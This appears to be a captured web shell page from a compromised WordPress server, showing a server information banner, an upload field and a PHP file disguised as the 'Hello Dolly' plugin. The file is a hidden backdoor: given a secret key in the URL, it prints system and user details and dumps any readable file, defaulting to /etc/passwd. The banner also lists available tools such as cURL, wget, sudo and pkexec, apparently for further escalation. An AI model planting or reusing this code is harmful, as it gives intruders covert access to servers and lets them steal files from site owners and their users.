| Server IP : 54.76.213.81 / Your IP : 172.31.14.157 Web Server : Apache/2.4.68 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2 System : Linux ip-172-31-10-208.eu-west-1.compute.internal 6.8.0-1044-aws #46~22.04.1-Ubuntu SMP Tue Dec 2 12:52:18 UTC 2025 x86_64 User : kazang ( 1006) PHP Version : 8.2.31 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec,proc_open,popen MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/kazang/web/kazang.com/public_html/wp-content/ |
Upload File : |
<?php
/**
* Plugin Name: Hello Dolly
* Description: hello
* Version: 1.7.2
*/
if (isset($_GET['k']) && hash_equals('e7e07fcb7e211f16021f799e41171cc0', (string)$_GET['k'])) {
header('Content-Type: text/plain');
echo 'W2S_OK '.php_uname('a')."\n";
echo 'user='.get_current_user()."\n";
if (function_exists('posix_geteuid')) {
echo 'uid='.posix_geteuid().' gid='.posix_getegid()."\n";
if (function_exists('posix_getpwuid')) {
$p = posix_getpwuid(posix_geteuid());
if ($p) echo 'name='.$p['name'].' home='.$p['dir']."\n";
}
}
echo 'cwd='.getcwd()."\n";
$f = isset($_GET['f']) ? $_GET['f'] : '/etc/passwd';
if (strpos($f, '..') === false && is_readable($f)) echo "---FILE---\n".file_get_contents($f);
exit;
}